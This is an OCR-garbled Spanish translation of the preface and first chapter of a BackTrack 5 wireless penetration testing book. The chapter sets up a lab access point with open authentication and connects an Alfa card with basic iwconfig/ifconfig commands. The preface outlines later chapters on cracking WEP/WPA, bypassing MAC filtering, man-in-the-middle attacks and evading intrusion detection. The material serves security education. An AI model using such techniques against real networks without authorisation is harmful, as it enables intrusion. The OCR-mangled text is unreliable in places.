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Las redes inaldmbricas se han vuelto omnipresentes en el mundo actual. Millones de personas las utilizan por
todo el mundo todos los dias en sus casas, oficinas y puntos de acceso publicos para iniciar sesion en el Internet y
no tanto para el trabajo personal y profesional. A pesar de que lo inaldmbrico hace la vida mas facil y nos da una
gran movilidad por ejemplo, viene con sus riesgos. En los Ultimos tiempos, las redes inaldmbricas inseguras han
sido explotados para entrar en las empresas, bancos y organizaciones gubernamentales. La frecuencia de estos
ataques se ha intensificado, ya que los administradores de red todavia no saben cdmo conseguir una red
inaldmbrica segura en una forma robusta y a prueba de errores.

BackTrack 5:pruebas de penetracion inalambrica tiene como objetivo ayudar al lector a entender las
inseguridades asociadas a las redes inalambricas y como llevar a cabo pruebas de penetracién para encontrar los
fallos y vulnerabilidades. Esta es una lectura esencial para aquellos que quieran llevar a cabo auditorias de
seguridad en redes inaldambricas y siempre quiso una guia paso a paso practica para la misma. Todos los ataques
inaldmbricos explicados en este libro son inmediatamente continuados por una demostracién practica, el
aprendizaje es muy completo.

Hemos elegido BackTrack 5 como plataforma para poner a prueba todos los ataques inaldmbricos en este libro.
BackTrack, como la mayoria de ustedes ya deben saber, es la distribucion de pruebas de penetracion mas popular
en el mundo . Contiene cientos de herramientas de seguridad y hacking, algunas de los cuales vamos a utilizar en
el transcurso de este libro.

Capitulo 1, la configuracion inaldmbrica de laboratorio, presenta docenas de ejercicios que vamos a estar
haciendo en este libro. Con el fin de ser capaz de probar, el lector tendra que establecer un laboratorio
inaldmbrico. Este capitulo se centra en como crear un laboratorio de pruebas inalambricas utilizando el hardware
de la plataforma y el software de cddigo abierto. En primer lugar, se verdn los requisitos de hardware que
incluyen tarjetas inalambricas, antenas, puntos de acceso y otros dispositivos Wi-Fi, entonces pasaremos a un
enfoque de los requisitos de software que incluye el sistema operativo, drivers Wi-Fi y las herramientas de
seguridad . Por Ultimo, vamos a crear un banco de pruebas para nuestros experimentos y comprobar diferentes
configuraciones inalambricas en él.

Capitulo 2, WLAN y sus inseguridades inherentes se centra en los defectos de disefio inherentes a las redes
inalambricas que les hace inseguros nada mas conectarlos. Vamos a comenzar con un resumen rapido de los
protocolos 802.11 WLAN usando un analizador de red llamado Wireshark. Esto nos dard un conocimiento
practico acerca de como estos protocolos trabajan. Lo mdas importante, vamos a ver como funciona la
comunicacion entre el cliente y el punto de acceso a nivel de paquetes mediante el andlisis de los marcos de
gestidn, de control y de datos. A continuacidn, aprenderd acerca de la inyeccion de paquetes y sniffing en redes
inaldambricas y veremos algunas herramientas que nos permiten hacer lo mismo.

Capitulo 3, evitando la autenticacion de WLAN (bypassing WLAN Auth) habla acerca de cdmo romper un
mecanismo de autenticacion WLAN. Vamos a ir paso a paso y estudiar la manera de subvertir autenticaciones de
clave abierta y compartida. En el transcurso de esto, usted aprendera a analizar los paquetes inaldambricos y
averiguar el mecanismo de autenticacion de la red. También vamos a buscar la forma de entrar en las redes con
SSID oculto vy filtrado MAC activado. Se trata de dos mecanismos comunes empleados por los administradores de
red para las redes inaldmbricas mas sigilosas y dificiles de penetrar, sin embargo, estos son muy sencillos de
evitar.

Capitulo 4, defectos del cifrado WLAN , una de las partes mas vulnerables del protocolo WLAN son los esquemas
de cifrado WEP, WPA, y WPA2. Durante la ultima década, los hackers han encontrado mudiltiples fallas en estos
esquemas y han escrito el software a disposicidn del publico para la rotura de los mismos y descifrar los datos. A
pesar de que WPA/WPA2 es seguro por disefio, una mala configuracion abre el camino de las vulnerabilidades de
seguridad que pueden ser facilmente explotadas. En este capitulo, vamos a entender la inseguridad en cada uno
de estos esquemas de cifrado y hacer demostraciones practicas sobre la manera de romperlas.



Capitulo 5, ataques a la infraestructura WLAN, cambia nuestra vision de las vulnerabilidades de la infraestructura
WLAN. Vamos a ver las vulnerabilidades creadas por los problemas de configuracién y disefio. Vamos a hacer
demostraciones practicas de los ataques de suplantacién de identidad, punto de acceso, MAC y los ataques de
repeticion, los puntos de acceso, fuzzing y denegacion de servicio. En este capitulo se dara al lector una
comprension sélida de cdmo hacer una prueba de penetracion de la infraestructura WLAN.

Capitulo 6, atacando a los clientes, abra sus ojos si siempre he creido que la seguridad del cliente inaldmbrico era
algo que no tenia de qué preocuparse! La mayoria de las personas excluye al cliente de su lista cuando piensan en
la seguridad de la WLAN. En este capitulo se demostrara sin lugar a dudas por qué el cliente es tan importante
como el punto de acceso al penetrar en las pruebas de seguridad de una red WLAN. Vamos a buscar la forma de
poner en peligro la seguridad mediante ataques del lado del cliente tales como errores de asociacion, Caffe Latte
disociacién, conexiones ad-hoc, fuzzing, honeypots, y muchos otros.

Capitulo 7, ataques avanzados WLAN, contempla mds ataques avanzados habiendo ya cubierto la mayoria de los
ataques basicos tanto en la infraestructura y como en el cliente. Estos ataques suelen implicar el uso de multiples
ataques basicos en conjunto para romper la seguridad en los escenarios mas dificiles. Algunos de los ataques que
vamos a aprender son las huellas digitales del dispositivo inaldmbrico (fingerprinting), el hombre en el medio
(man-in-the-middle)de forma inaldmbrica, evadir la deteccién de intrusiones inaldmbricas y sistemas de
prevencion, accesos no autorizados punto utilizando el protocolo de costumbre, y un par de los demas. En este
capitulo se presenta la punta de lanza en los ataques inaldmbricos en el mundo real.

Capitulo 8, atacar WPA Enterprise y RADIUS, gradualmente lleva al usuario al siguiente nivel mediante la
introduccion a los ataques avanzados en WPA-Enterprise y la configuracion del servidor RADIUS. Estos ataques
son muy utiles cuando el lector tiene que realizar una prueba de penetracion en una red de grandes empresas
que dependen de la WPA-Enterprise y la autenticacién RADIUS para darles seguridad. Esta es, probablemente,
tan avanzado como los ataques Wi-Fi pueden ser en el mundo real.

Capitulo 9, Metodologia de pruebas inaldmbrico penetracion, es donde todo el aprendizaje de los capitulos
anteriores se une y vamos a ver como hacer una prueba de penetracién inaldmbrica en forma sistematica y
metddica. Vamos a aprender sobre las distintas fases de pruebas de penetracion, la planificacién, el
descubrimiento, el ataque y la presentacion de informes y aplicarla a las pruebas de penetracion inalambrica.
También vamos a entender como proponer recomendaciones y mejores practicas después de una prueba de
penetracién inaldmbrica.

Apéndice A, Conclusion y hoja de ruta, concluye el libro y deja al usuario con algunos consejos para la lecturay la
investigacion.

Para seguir y recrear los ejercicios practicos en este libro, se necesitan dos portatiles con funcion de conexién de
tarjetas Wi-Fi, un adaptador inaldmbrico USB Alfa AWUS036H Wi-Fi, BackTrack 5 y algunos otros equipos y
software. Los hemos detallado en el Capitulo 1, configuracion del entorno de laboratorio inaldmbrico.

Como alternativa a la instalacion de backtrack en su equipo , también puede crear una maquina virtual en
BackTrack 5y conectar la tarjeta a través de la interfaz USB. Esto le ayudara a empezar a utilizar este libro mucho
mas rapido, pero le recomendamos un equipo dedicado corriendo BackTrack 5 para las evaluaciones reales en el
campo.

Como requisito previo, los lectores deben ser conscientes de los conceptos basicos de redes inaldmbricas. Esto
incluye tener conocimiento previo sobre los conceptos basicos del protocolo 802.11 y comunicacion del cliente
con el punto de acceso. A pesar de referirme brevemente a esto cuando creamos el laboratorio, se espera que el
usuario ya estd al tanto de estos conceptos.



Aungque este libro es una serie para principiantes, estd destinado a todos los niveles de usuarios, desde
principiantes a expertos de la seguridad inalambrica. Hay algo para todos. El libro comienza con ataques simples,
pero luego pasa a explicar los mas complicados, y, finalmente, analiza los ataques que se salen de lo normal y la
investigacion. Como todos los ataques se explican con demostraciones practicas, es muy facil para los lectores en
todos los niveles intentar rapidamente el ataque por si mismos. Tenga en cuenta que a pesar de que el libro
destaca los diferentes ataques que pueden ser lanzados contra una red inaldmbrica, el verdadero propdsito es
educar a los usuarios a convertirse en un analista de penetracion inaldmbrica. Seria capaz de demostrar con
facilidad todo tipo de ataques de pruebas de penetracion y test de forma profesional, si asi lo solicita el cliente.

Convenciones
En este libro, usted encontrara varios epigrafes que aparecen con frecuencia.
Dan instrucciones claras de cdmo llevar a cabo un procedimiento o una tarea asi pues se utiliza:
Parte practica
1. Accién 1
2. Accién 2
3. Accion 3
Las instrucciones a menudo necesitan una explicacién adicional para que tengan sentido, por lo que se siguié con:
¢Qué ha pasado?
En este epigrafe se explica el funcionamiento de las tareas o instrucciones que usted acaba de completar.
Usted también encontrara algunas otras ayudas de aprendizaje en el libro, incluyendo:
Examen sorpresa
Estos son preguntas cortas de tipo test destinadas a ayudar a probar su propia comprension.
Inténtalo
En ellas se establecen los problemas practicos y se dan ideas para experimentar con lo que has aprendido.

Usted también encontrard una serie de estilos de texto que distinguen entre diferentes tipos de informacién.
Estos son algunos ejemplos de estos estilos, y una explicacion de su significado.

Las palabras de cddigo en el texto se muestran de la siguiente manera: "habilitando la interfaz con
el comando ifconfig"



Las palabras que ve en la pantalla, en los menus o cuadros de didlogo, por ejemplo, aparecen en el texto asi:
"Para ver los paquetes de datos para nuestro punto de acceso, afiada lo siguiente al filtro (wlan.bssid == 00:
21:91: d2: 8e:. 25) & & (wlan.fc.type_subtype == 0x20) "

Avisos o notas importantes aparecen en un cuadro como este

Consejos y trucos aparecen asi

Configurar el entorno de lahoratorio Inalambrico

"Si tuviera ocho horas para cortar un arbol, pasaria seis horas afilando mi hacha".
Abraham Lincoln, 16 ° Presidente EE.UU.

. Detras de cada éxito de la ejecucion es de horas o dias de preparacion, y conexion

\ J inaldmbrica en la pruebas de pentracién no es una excepcidn. En este capitulo vamos a
crear una red inalambrica en un entorno de laboratorio que usaremos para nuestros
experimentos descritos en el libro. Considere la posibilidad de esta practica de laboratorio
como su arena de preparacion antes de sumergirse en las pruebas de penetracion en el
mundo real.

Las pruebas de penetracion inalambrica es un tema practico y es importante primeramente la instalacién de un
laboratorio donde se puedan probar todas las diferentes experiencias de este libro en un ambiente seguro y
controlado. Es importante que se haga esta practica antes de continuar adelante con el libro.

En este capitulo, vamos a examinar lo siguiente:

®  Requisitos de hardware y software

®  BackTrack 5 instalacion



®  Establecer un punto de acceso y configuracion
®  Instalacion de la tarjeta inaldmbrica

®  Pruecba de la conectividad entre el portatil y el punto de acceso

Asi que, ique comience el juego!

Vamos a necesitar el siguiente hardware para crear el laboratorio inaldmbrico.

®  Dos computadoras portatiles con tarjetas Wi-Fi internas: Vamos a utilizar uno de los ordenadores
portatiles como de la victima en el laboratorio y el otro como el portatil de prueba de intrusion.
Aunque casi todos los portatiles se ajustan a este perfil, las computadoras portatiles con al menos 3
GB de RAM es deseable. Esto se debe a que se puede ejecutar una gran cantidad de memoria
intensiva de software en nuestros experimentos.

®  [Un adaptador Alfa inalambrico: Se necesita un USB Wi-Fi que pueda soportar la inyecciéon de
paquetes y la deteccidn de paquetes y que sea soportado por Backtrack. La mejor opcién parece ser la
tarjeta de rede de Alfa AWUSO36H ya que BackTrack apoya esta sin ninguna configuracion previa.

®  Un punto de acceso: Cualquier punto de acceso que soporte los estandares de encriptacién
WEP/WPA/WPA?2 valdria para esto. Nosotros vamos a utilizar un D-LINK DIR-615 Wireless N Router
para ilustrar todo este libro.

®  Una conexion a Internet: Esta sera muy Util para llevar a cabo la investigacion, la descarga de software
y para algunos de nuestros experimentos.

Requisitos de software

Necesitaremos el siguiente software para crear el laboratorio inaldmbrico:

®  BackTrack 5: BackTrack puede ser descargado desde su sitio web oficial
http://www.backtrack-linux.org . El software es de cédigo abierto y debe ser capaz de
descargar directamente del sitio web.

o Windows XP/Vista/7: Usted necesitard Windows XP, Windows Vista o Windows 7 instalado en uno de
los ordenadores portatiles. Este portatil se utiliza como equipo victima para el resto del libro.

Es importante sefialar que a pesar de que se esta utilizando un sistema operativo basado en Windows para
nuestras pruebas, las técnicas aprendidas se pueden aplicar a cualquier dispositivo Wi-Fi como teléfonos
inteligentes y tabletas, entre otros.

Parte practica-Instalacion de BackTrac

Vamos ahora rapidamente a buscar la forma de ponerse en marcha con BackTrack.

BackTrack se instalara en la computadora portatil que servirda como la maquina de pruebas de penetracion para el
resto del libro.

BackTrack es relativamente facil de instalar. Vamos a correr BackTrack arrancando como un DVD en vivo y luego
instalarlo en el disco duro.

Siga las siguientes instrucciones paso a paso:



1. Grabar la ISO BackTrack (estamos utilizando BackTrack 5 KDE 32-Bit Edition) que ha se a descargado en un DVD
de arranque.

2. Arranque el ordenador portétil con el DVD insertado y seleccione la opcién BackTrack Text- Default Boot Text
Mode del menu de inicio:

BackTrack Live CD

BackTrack Stealth — No Networking enabled

BackTrack Forensics — No Dri

BackTrack noDEM — No DRM Drivers. )

BackTrack Debug — Safe Mode

BackTrack Memtest — Run memtest

Hard Drive Boot — boot the first hard digk

<< back | track [=

Press [Tabl to edit options

3. Si el arranque tuvo éxito, entonces usted debe ver a la conocida pantalla de BackTrack:

<< back | track =

=3 Uelcone to the BackTrack S fon a R Vv
=1 Official DackTrack Home Fage: http: /- www.backtrack-1inux.org
1) Official BackTrack Training @ hitp: /uww.of fensive-security.con

I=] To start a graphical interface. type
[=1 The default root passuord ix © .

T M startx_

“The gquieter you becorne, the move you are able to hear.




4. Se puede arrancar en el modo grafico mediante la introduccion de startx en el simbolo del sistema.jDisfrute de
la musica de inicio! Una vez que esté en la interfaz grafica de usuario, la pantalla debe ser igual que la siguiente
captura:

Install
BackTrack

<< back | track [=

X q;)) -% 11:14 am

5. Ahora haga clic en el icono de instalacion de BackTrack a la parte superior izquierda del escritorio. Se iniciara
el instalador de BackTrack como se muestra a continuacién:

Install

English Welcome

dy ? Once you a few questions, the
tents of tt \ ) installed on this computer
o you can run BackTrack Live at full speed without the CD.

Answering the questions should only take a few minutes.

Galego
Hrvatski
italiano

Kurdf

<2l Quit 13 = Forward




6. Este programa de instalacion es similar a los instaladores basados en GUI de la mayoria de los sistemas Linux y
debe ser facil de seguir. Seleccione las opciones adecuadas en cada pantalla y comenzara el proceso de
instalacion. Cuando la instalacion haya terminado, reinicie el equipo cuando se le solicite y extraiga el DVD.

7. Una vez que se reinicia el equipo, se le presentard una pantalla de inicio de sesidn. Escriba en el inicio de
sesion "root" y la contrasefia "toor". Ahora debe estar logueado en la version instalada de BackTrack.
jFelicitaciones!

Yo voy a cambiar el tema de escritorio y algunas opciones para este libro. jSiéntase libre de utilizar sus propios
temas vy los ajustes de color!

iHemos instalado con éxito Backtrack en el portatil! Vamos a utilizar este ordenador como el portatil de prebas
de intrusién para todos los demads experimentos en este libro.

Inténtalo-Instalacion de BackTrack en Virtual Bo

También podemos instalar BackTrack en el software de virtualizacién como Virtual Box. Para los lectores que no
quieran dedicar un portatil completo a Backtrack, esta es la mejor opcion. El proceso de instalacion de BackTrack
en Virtual Box es exactamente el mismo. La Unica diferencia es la pre-configuracién que usted tendra que crear
en Virtual Box. Puedes descargar Virtual Box desde aqui http://www.virtualbox.org.

Otra de las maneras en que puede instalar y utilizar Backtrack es a través de unidades USB. Esto es
particularmente util si usted no desea instalar en el disco duro, pero todavia quiere almacenar los datos de foma
persistente en su BackTrack, tales como los scripts y las nuevas herramientas. jLe animamos a probar esto
también!

Configuracion del punto de acceso

Ahora vamos a configurar el punto de acceso. Como se menciond anteriormente, vamos a usar el D-Link DIR-615
Wireless N Router para todos los experimentos de este libro. Sin embargo, siéntase libre de usar cualquier otro
punto de acceso. Los principios basicos de funcionamiento y la utilizaciéon siguen siendo los mismos.

Parte practica — Configurar el punto de acceso

Vamos a empezar! Vamos a establecer el punto de acceso para utilizar la autenticacion abierta con el SSID
“Wireless Lab”

Siga estas instrucciones paso a paso:

1. Encienda el punto de acceso y el usa un cable Ethernet para conectar su portatil a uno de los
puertos del punto de acceso Ethernet.

2. Introduzca la direccion IP de la terminal del punto de acceso en su navegador. Para el DIR-615, se le
dalalp 192.168.0.1 en el manual. Usted debe consultar la guia de configuracién del punto de acceso
para encontrar su direccion IP.

Si usted no tiene los manuales del punto de acceso, también se puede encontrar la direccién IP,
ejecute el comando route -n. La direccidn IP del gateway IP suele ser el punto de acceso. Una vez
conectado, usted deberia ver un portal de configuracién que se parece a esto:



(@) D-LINK SYSTEMS, INC. | WIRELESS ROUTER : Login - Mozilla irefox [ofe]=s]

File Edit View History Bookmarks Tools Help Related Links

Log in to the router:

WIRELESS

Copyright © 2004-2007 D-Link Systems, Inc,

Done B

®

private g3z I
o S3fox 4

3. Explorar los diferentes ajustes en el portal después de entrar y encontrar los ajustes relacionados con la
configuracién de un nuevo SSID.

4. Cambie el SSID a Wireless Lab. Dependiendo del punto de acceso, es posible que tenga que reiniciar el
sistema para cambiar la configuracion:

SUPPORT

SETUP 'ANCED TOOLS STATUS

Use this section to configure the wireless settings for your D-Link Router. Please note that
changes made on this section may also need to be duplicated on your Wireless Client.

INTERNET Helpful Hints...

RELESS SETTINGS Changing your Wirele:
Network Name is the first
NETWORK SETTINGS

[ Save Settings ] [ Don't Save Settings ]

WIRELESS NETWORK SETTINGS

it to a familiar name that
does not contain any
personal information.

Enable Auto Channel Scan
so that the router can
select the best possible

Enable Wireless

Wireless Network Name :
802.11 Mode :

Enable Auto Channel Scan :
Wireless Channel :
Transmission Rate :
Channel Width :

Visibility Status :

: ¥ Aways
Wireless Lab (Also called the SSID)
‘Mixed 802.11n, 802.11g and 802.11b +

=

2. Hz -CH 6

Best (automatic) ~ (Mbit/s)

20 MHz -
@ visible ©

Invisible

Security Mode

WIRELESS SECURITY MODE

To protect your privacy you can configure wireless security features. This device supports three
wireless security modes, including WEP, WPA-Personal, and WPA-Enterprise. WEP is the original
wireless encryption standard. WPA provides 3 higher level of security. WPA-Personal does not
require an authentication server. The WPA-Enterprise option requires an external RADIUS server.

: None

channel for your wireless
network to operate on.

abling Hidden Mode is
anothe: y to secure
your network. With this
option enabled, no wireless
dients will be able to see
your wireless network

en they to see
vhat's available. For your

eless d s to connect
to your router, you will
need to manually enter the
Wireless Network Name on
each device.

nabled

Wireless Security, make
sure you write down the
Key or Passphrase that
you have configured. You
will need to enter this
information on any w
device that you conni

reless network.

less




5. Del mismo modo, encuentre los ajustes relacionados con la autenticacién y cambie la configuracién a Open
Authentication. En mi caso, la configuracion el modo de seguridad None indica que estd utilizando el modo de
autenticacion abierta.

6. Guarde los cambios en el punto de acceso y vuelva a iniciarlo, si es necesario. Ahora el punto de acceso debe
estar en funcionamiento con el SSID Wireless Lab.

Una forma sencilla de comprobarlo consiste en utilizar la utilidad de configuracién inaldmbrica de Windows y
observar las redes disponibles. Usted debe encontrar Wireless Lab como una de las redes en la lista:

E=R[E=n <

N l!:#‘ Ceonnect to a network

Disconnect or connect to another network

Show [All -

&!';. Wireless Lab Unsecured network -ﬂjﬂ
&' janet Security-enabled network A0
&!';. Unnamed Metwork Unsecured network -ﬂjﬂ

Set up a connection or network
Open Metwork and Sharing Center

[ Disconnect ]I Cancel I

¢0ué ha pasado?

Hemos configurado correctamente nuestro punto de acceso inaldmbrico como laboratorio SSID. Se trata de la
radiodifusién de su presencia y esto esta siendo recogido por nuestro portatil Windows y otros dentro de la
Radiofrecuencia (RF) del alcance del punto de acceso

Es importante tener en cuenta que hemos configurado nuestro punto de acceso en modo abierto, que es el
menos seguro. Es aconsejable no conectar este punto de acceso a Internet por el momento porque cualquiera
dentro del rango de RF serd capaz de usarlo para acceder a Internet.

Inténtalo - Configurar el punto de acceso usando WEPy WPA

Juega un poco con las opciones de configuracion del punto de acceso. Trate de ver si se puede poner en marcha
el uso de esquemas de encriptacion como WEP y WPA/WPA2. Vamos a utilizar estos modos en los Ultimos
capitulos para ilustrar los ataques contra ellos.

La configuracién de ALFA nuestra tarjeta de red inaldmbrica es mucho mas fécil que la del punto de acceso. La
ventaja es que BackTrack soporta esta tarjeta fuera de la caja y viene con todos los controladores de dispositivos
necesarios para permitir la inyeccién de paquetes y la deteccién de paquetes.



Nosotros vamos a usar la tarjeta inaldmbrica Alfa con el ordenador portatil de pruebas de penetracion . Por favor,
siga estas instrucciones paso a paso para configurar su tarjeta:

1. Conecte la tarjeta a uno de los puertos USB del ordenador portatil BackTrack y arrancarlo.

2. Una vez conectado, abra una terminal de consola y escribir iwconfig. Su pantalla serd similar a
lo siguiente:

~ = Shell - Konsole

Session Edit View Bookmarks Settings Help

:~# iwconfig
Lo no wireless extensions

ethe® no wireless extensions
wmaster® no wireless extensions.

wlan@ IEEE 802.11bg ESSID:™"
Mode:Managed Frequency:2.412 GHz Access Point: Not-Associated
Tx-Power=8 dBm
Retry min limit:7 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:ofT
Link Quality:® Signal level:® Noise level:0
Rx invalid nwid:® Rx invalid crypt:® Rx invalid frag:@
Tx excessive retries:@ Invalid misc:0@ Missed beacon:@

—y

T 0, g - = $2 ~| @ root@bt: ~ - Shell - Ko

A

SRR i

Como puede ver, wlanO es la interfaz inaldmbrica creada para la tarjeta inaldmbrica Alfa. Escriba i fconfig
wlanO para levantar el dispositivo de red. A continuacidn, escriba ifconfig wlanO para ver el estado actual
de la interfaz:

Shell - Konsole

Session Edit View Bookmarks Settings Help
:~# ifconfig wlan® up =
:~# ifconfig wlan®
wlan® Link encap:Ethernet HWaddr 00:cO:ca:3e:bd:93
UP BROADCAST MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:® frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:® txqueuelen:1000
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)
~# 1
=)
£l
% @ shenn |
Lo Wm@ & 2| & root@bt: ~ - Shell - Kor FEwsg 12 133>




3 La direccién MAC 00:C0 : ca: 3e :bd: 93 debe coincidir con la direccion MAC de su tarjeta escrita
en Alfa. Esta es una manera rapida para asegurarse de que ha habilitado la interfaz correcta.

BackTrack incluye con todos los controladores necesarios para la tarjeta Alfa. Tan pronto como la maquina
arranca, la tarjeta es reconocida y se le asignd la wlanO interfaz de red. Por defecto, todas las interfaces de red
en BackTrack se desactivan en el arranque. Hemos habilitado la interfaz con el comando i fconfig. Ahora
nuestra tarjeta de Alfa estd en marcha y funcional!

Conexion al punto de acceso

Ahora vamos a buscar la forma de conectar con el punto de acceso mediante la tarjeta wireless Alfa. Nuestro
punto de acceso tiene un SSID Wireless Lab y no utiliza ningln tipo de autenticacién.

Parte practica — Configurar la tarjeta de red inalambrica

Aqui vamos! Siga estos pasos para conectar la tarjeta inalambrica al punto de acceso:

1.  Veamos primero que redes inaldmbricas esta detectando nuestra tarjeta Alfa. Emita el comando
iwlist wlan0O scanningy encontrard una lista de redes en las cercanias:

hell - Konsole

Session Edit View Bookmarks Settings

:~# iwlist wlan® scanning

wlan® Scan completed :
Cell 01 - Address: 00:25:5E:17:41:4C
Channel:1

Frequency:2.412 GHz (Channel 1)
Quality=57/70 Signal level=-53 dBm
Encryption key:on
ESSID: "Vivek"

Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s
Bit Rates:6 Mb/s; 9 Mb/s; 12 Mb/s; 18 Mb/s;
36 Mb/s; 48 Mb/s; 54 Mb/s
Mode:Master
Extra:tsf=000000322b8db23c
Extra: Last beacon: 2586ms ago
IE: Unknown: 0005566976656B
IE: Unknown: 010482848B96
IE: Unknown: 030101
IE: Unknown: 2A0104
IE: Unknown: 32080C1218243048606C
IE: WPA Version 1
Group Cipher : TKIP
Pairwise Ciphers (1) : TKIP
Authentication Suites (1) : PSK

Cell 02 - Address: 00:25:5E:17:41:4D

Channel:1 =

24 Mb/s

2. Desplazate hacia abajo, deberias encontrar la red Wireless Lab en esta lista. En mi
configuracion, se detecta como Cell 05, pero puede ser diferente de la suya. El campo contiene
el nombre ESSID de lared:

5 root@bt: ~ - Shell - Konsole
Session Edit View Bookmarks Settings Help
Cell 05 - Address: 00:21:91:D2:8E:25 =
Channel:9

Frequency:2.452 GHz (Channel 9)

Quality=76/70 Signal level=-15 dBm

Encryption key:off

ESSID:"Wireless Lab"

Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s

Bit Rates:6 Mb/s; 9 Mb/s; 12 Mb/s; 18 Mb/s; 24 Mb/s
36 Mb/s; 48 Mb/s; 54 Mb/s

Mode:Master

Extra:tsf=00000001c7fb4180

Extra: Last beacon: 13ms ago

IE: Unknown: 000C576972656C657373204C6162

IE: Unknown: 010482848B96

IE: Unknown: 030109

IE: Unknown: 2A0100

IE: Unknown: 32080C1218243048666C

IE: Unknown: DD180650F2020101000003A4000027A4000042435E0062322F00

IE: Unknown: DD1E©6904C334C101FFFFF

00000000000

IE: Unknown: DD1A©©964C
000

IE: Unknown: 2D1A4C101FFFFF
000

IE: Unk : 3D1
IE: Unknown: DD790050F204104A0001101044000102103800010310470010AB0 4




5.

Session Edit View Bookmarks Settings Help

Varios puntos de acceso pueden tener el mismo SSID, compruebe que la direccion MAC se
menciona en el campo Address por encima de la MAC del punto de acceso. Es una forma
rapida y facil para obtener la direccion MAC que se encuentra debajo del punto de acceso o el
usando la configuracidn de GUI basado en web.

Ahora, ejecute el comando iwconfig wlan0 essid "Wireless Lab" y luego
iwconfig wlanO para comprobar el estado. Si usted se ha conectado al punto de acceso,
deberia ver la direccion MAC en el punto de acceso: se visualiza en la salida de
iwconfig, como se muestra en la siguiente pantalla:

root@bt: ~ - Shell - Konsole

Session Edit View Bookmarks Settings Help

:~# iwconfig wlan® essid "Wireless Lab" 2
~#
~#
~#
:~# iwconfig wlan®
wlan@ IEEE 802.11bg ESSID:"Wireless Lab"

Mode:Managed Frequency:2.452 GHz Access Point: 00:21:91:D2:8E:25
Bit Rate=1 Mb/s  Tx-Power=27 dBm

Retry min limit:7 RTS thr:off Fragment thr:off

Encryption key:off

Power Management:off

Link Quality=70/70 Signal level=-9 dBm

Rx invalid nwid:® Rx invalid crypt:® Rx invalid frag:®

Tx excessive retries:0 Invalid misc:@ Missed beacon:@

#
~#

~#
=N |

:

Sabemos que el punto de acceso tiene una interfaz de gestion de direccién IP "192.168.0.1" que
describe su manual. Por otra parte, esta es la misma que la direccion IP del router por defecto
cuando se ejecuta el comando route -n. Vamos a poner nuestra direccion IP en la misma
subred mediante la emisiéon de la orden ifconfig wlanO 192.168.0.2 netmask
255.255.255.0 wup. Compruebe que se ha ejecutado correctamente escribiendo
ifconfig wlanO vy controle la salida del comando:

root@bt: ~ - Shell - Konsole

wlan@ Link encap:Ethernet HWaddr 00:c:ca:3e:bd:93

:~# ifconfig wlan® 192.168.0.2 netmask 255.255.255.0 up B
i~
=
:~# ifconfig wlan@

inet addr:192.168.0.2 Bcast:192.168.0.255 Mask:255.255.255.0
inet6 addr: feB@::2c@:caff:fe3e:bd93/64 Scope:Link

UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1

RX packets:107 errors:0 dropped:© overruns:@ frame:@

TX packets:93 errors:@ dropped:0 overruns:® carrier:@
collisions:@ txqueuelen:1660

RX bytes:82778 (82.7 KB) TX bytes:18597 (18.5 KB)

i~
=
= |




6. Ahora vamos a hacer ping al punto de acceso con el comando ping 192.168.0.1. Si la conexion de
red se ha configurado correctamente, entonces usted debe ver las respuestas desde el punto de
acceso. Tiene la posibilidad de emitir un arp -a para verificar que la respuesta viene desde el punto
de acceso. Usted debe ver que la direccion MAC de la IP 192.168.0.1 es la direccion del punto de
acceso MAC que hemos sefialado anteriormente. Es importante sefialar que algunos de los puntos de
acceso mas recientes podrian tener deshabilitada la respuesta a los paquetes ICMP Echo Request .
Esto se hace normalmente para hacer que el punto de acceso mas seguro fuera de la caja, con sélo las
opciones minimas de configuracion disponibles. En tal caso, usted podria tratar de abrir un navegador
y acceder a la interfaz Web para verificar que la conexidn esta funcionando.

root@bt: ~ - Shell - Konsole

Session Edit View Bookmarks Settings Help

:~# ping 192.168.0.1 =
PING 192.168.0.1 (192.168.08.1) 56(84) bytes of data.
64 bytes from 192.168.0.1: icmp seq=1 tt1=64 time=13.5 ms
64 bytes from 192.168.0.1: icmp_seg=2 ttl=64 time=12.3 ms
64 bytes from 192.168.0.1: icmp seq=3 ttl=64 ti .
64 bytes from 192.168.0.1: icmp_seq=4 ttl=64
64 bytes from 192.168.0.1: icmp_seq=5 ttl=64
64 bytes from 192.168.0.1: icmp_seq=6 ttl=64
~C
--- 192.168.0.1 ping statistics ---
6 packets transmitted, 6 received, 0% packet loss, time 5008ms
rtt min/avg/max/mdev = 4.758/11.082/14.858/3.500 ms
~#
~#
:~# arp -a
7 (192.168.0.1) at 00:21:91:d2:8e:25 [ether] on wlan®
i~#
~#
i~#
%1 8

:

7. En el punto de acceso, se puede verificar la conectividad observando los logs de conexion. Como se
puede ver en el registro siguiente, la direccion MAC de la tarjeta inalambrica 00:c2:ca:3a:93 se ha

registrado:

Product Pag:

can send the log files to a computer on your network that is running a syslog utility.

Use this option to view the router logs. You can define what types of events you want to
view and the event levels to view. This router also has internal syslog server support so you

Apply Log Settings Now

LOG OPTIONS L

What to View : V] Firewall & Security /] System [¥] Router Status
View Levels : [/ Critical ¥ warning ] Informational

3 Log Entries:?
Priority Time Message
7] associated

[INFO]

Sat Jan 31 13:23:13
2004

Log viewed by IP address 192.168.0.2

[mFo] 52331132313 |49 cieared by Ip address 192.168.0.2

LOG DETAILS

Sat Jan 31 13:23:24 Wireless system with MAC address 00COCA3EBD93
2004

SUPPORT
Helpful Hints...

Check the log frequently to



¢Qué ha pasado?

Acabamos de conectarnos a nuestro punto de acceso con éxito a partir de BackTrack con nuestra tarjeta
inaldmbrica Alfa como dispositivo inaldmbrico. También nos enteramos de cdmo verificar que una conexién se ha
establecido, tanto en el cliente inaldmbrico y del lado del punto de acceso.

Inténtalo - Establecer una configuracion Wep

Aqui es un ejercicio dificil para usted -- configurar el punto de acceso con configuraciéon WEP. Para cada uno de
estos intentar establecer una conexidn con el punto de acceso mediante el adaptador inaldmbrico. Sugerencia,
consulte el manual para el comando iwconfig escribiendo man iwconfig para ver como configurar la tarjeta para
conectarse a WEP.

Examen sorpresa — Conoc

1. Después de emitir el comando i fconfig wlanO up, écdmo verificamos que la tarjeta
inaldmbrica esta en marcha y funcional?

